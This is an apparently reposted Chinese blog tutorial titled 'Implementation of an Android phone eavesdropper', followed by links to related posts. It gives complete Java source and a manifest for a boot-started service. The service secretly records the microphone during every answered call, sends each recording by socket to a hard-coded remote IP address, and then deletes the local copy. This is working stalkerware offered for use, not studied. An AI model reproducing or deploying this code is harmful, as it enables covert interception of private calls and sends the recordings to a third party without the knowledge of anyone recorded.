Android电话窃听器的实现

标签: android 电话 窃听器 | 发表时间:2013-02-21 02:13 | 作者:jaycee110905
出处:http://blog.csdn.net

PhoneListenService.java

package cn.itcast.phone;

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.itcast.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhoneListenService extends Service {
	private static final String TAG = "PhoneListenService";

	@Override
	public void onCreate() {
		TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
		Log.i(TAG, "service created");
		super.onCreate();
	}
	
	@Override
	public void onDestroy() {//清空缓存目录下的所有文件
		File[] files = getCacheDir().listFiles();
		if(files!=null){
			for(File f: files){
				f.delete();
			}
		}
		Log.i(TAG, "service destroy");
		super.onDestroy();
	}

	private class TelListener extends PhoneStateListener{
		private MediaRecorder recorder;
		private String mobile;
		private File audioFile;
		private boolean record;
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state){
				case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */
					if(record){
						recorder.stop();//停止刻录
						recorder.release();
						record = false;
						new Thread(new UploadTask()).start();
						Log.i(TAG, "start upload file");
					}
					break;
					
				case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */
					 Log.i(TAG, "OFFHOOK:"+ mobile);
					 recorder = new MediaRecorder();
					 recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
					 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
					 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
					 
					 audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
					 recorder.setOutputFile(audioFile.getAbsolutePath());
					 recorder.prepare();//预期准备
					 recorder.start();   //开始刻录
					 record = true;
					 break;	
					
				case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */
					Log.i(TAG, "incomingNumber:"+ incomingNumber);
					mobile = incomingNumber;
					break;
					
				default:
					break;
				}
			} catch (Exception e) {
				Log.e(TAG, e.toString());
			}
			super.onCallStateChanged(state, incomingNumber);
		}
		
		private final class UploadTask implements Runnable{
			@Override
			public void run() {
				try {
					Socket socket = new Socket("220.113.15.71", 7878);
		            OutputStream outStream = socket.getOutputStream();
		            String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";
		            outStream.write(head.getBytes());
		            
		            PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());	
					String response = StreamTool.readLine(inStream);
		            String[] items = response.split(";");
					String position = items[1].substring(items[1].indexOf("=")+1);
					
					RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
					fileOutStream.seek(Integer.valueOf(position));
					byte[] buffer = new byte[1024];
					int len = -1;
					while( (len = fileOutStream.read(buffer)) != -1){
						outStream.write(buffer, 0, len);
					}
					fileOutStream.close();
					outStream.close();
		            inStream.close();
		            socket.close();
		            audioFile.delete();
		        } catch (Exception e) {                    
		        	Log.e(TAG, e.toString());
		        }
			}
		}
	}
	
	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}

}


BootBroadcastReceiver.java

package cn.itcast.phone;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent service = new Intent(context, PhoneListenService.class);
		context.startService(service);
	}

}


AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="cn.itcast.phone"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
		<service android:name=".PhoneListenService" />
		<receiver android:name=".BootBroadcastReceiver">
			<intent-filter>
	         <action android:name="android.intent.action.BOOT_COMPLETED"/>
	       </intent-filter>
		</receiver>
    </application>
    <uses-sdk android:minSdkVersion="7" />
	<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

</manifest> 

项目源码下载: http://pan.baidu.com/share/link?shareid=272323&uk=1796216265
 

作者:jaycee110905 发表于2013-2-21 2:13:04 原文链接
阅读:61 评论:0 查看评论

相关 [android 电话 窃听器] 推荐:

Android电话窃听器的实现

- - CSDN博客推荐文章
public void onDestroy() {//清空缓存目录下的所有文件. case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */. recorder.stop();//停止刻录. case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */.

Android 电话拨号

- - CSDN博客推荐文章
category.DEFAULT"); intent.setData(Uri.parse("tel:"+number)); //方法内部会自动为Inter 添加类别:android.intent. 在AndroidMainfest.xml中应加入:. //申请使用拨号的权限  安装的时候会用户提醒使用的时候会产生费用.

[转]【linphone】android--ip电话

- - 小鸥的博客
android2.3部分的sip实现.           manager = SipManager.newInstance(this); //初始化call manager.         initializeLocalProfile(); //初始化profile,也即是参数.         //得到username,pwd, domain.

android 发短信、打电话、发邮件

- - ITeye博客
需要权限 android.permission.SEND_SMS. 使用android.telephony.SmsManager类. sendDataMessage()接受一个附加参数以指定一个端口号,还会接受一个字节数组(不是一个String 消息). sendMultipartTextMessage()支持在整条消息大于SMS规范所允许的大小时发送文本消息.

免费短信和电话服务TextFree在Android上爆发

- licheng - 36氪
TextFree是由Pinger开发的一款手机应用,允许用户通过真实的手机号码免费收发手机短信,拨打免费电话. TextFree还推出了Android版客户端. Pinger CEO Greg Woock 称TextFree用户现在每月收发15亿条短信,拨打4500万分钟语音电话,目前已是全美十大运营商之一.

QQ通讯录2.3(Android)发布:新增电话拦截功能

- 小熊TONY - cnBeta.COM
QQ通讯录2.3(Android)发布,新增电话拦截,防打扰更安心,同时优化各主要界面UI,界面更简洁. QQ通讯录是一款通讯录与即时聊天完美融合的通讯软件,它不仅提供打电话、发短信、联系人智能搜索、归属地显示、联系人同步等便捷通讯录功能,还支持Q信好友群聊、发图、语音等聊天功能.

Skype 视频电话功能终于支持更多 Android 手机

- akey - Engadget 中国版
今天 Android Market 发布的最新版本 Skype 得到了一个挺重大的更新:它的视讯电话功能现在终于支持更多 Android 手机了,从以前的「四大天王」(误)扩展至 HTC、三星和 Sony Ericsson 的其他机款,再加上 LG Revolution(Verizon)和 Acer A5.

android一个拨打电话的小程序

- We_Get - 博客园-首页原创精华区
1、获取权限,因为拨打电话属于低层服务,插入权限方式. 在AndroidMainfest.xml中间插入.     以下语句为添加拨打权限,因为拨打电话要用到底层的服务. 2、通过自定义的Intent对象带入"android.intent.action.CALL"这个关键的ACTION,以及通过Uri.parse()的方法把用户输入的电话号码带入,最后以startActivity()方法启动程序.

《苹果日报》称香港汽车被安装了窃听器

- 小天 - Solidot
《苹果日报》报导(原文已删除,快照),所有持中港牌车辆,均被加装了具有窃听功能的电子仪器. 该窃听仪器植入在“检验检疫车载卡”,是内地当局2007年7月开始为所有中港车免费安装,计划由深圳检验检疫局执行. “车载卡”外形及大小与电子手帐相若,以双面胶纸牢牢黏在车厢内的车头玻璃上,仪器背部螺丝位更盖上保护贴,防止有人私下拆开仪器.

科研人员发现隐私泄露无孔不入,扫地机器人已成新型“窃听器”?

- - 钛媒体:引领未来商业与生活新知
在当今的信息互联网时代,个人隐私信息已不再属于个人. 互联网在为我们提供便利的同时,也给我们的生活和工作带来了一定的风险. 事实证明,越来越多的不法分子利用计算机技术和各类漏洞窃取个人、机构团体甚至政府部门的重要信息,无良商家也会通过倒卖用户信息来牟取暴利. 更令人恐慌的是,不仅仅是我们在虚拟网络上的个人信息被泄露,我们的实际生活也遭到了“恶意”入侵,比如难以发现的针孔摄像头和常用的家居物品,他们无一不在“监视”着我们的生活.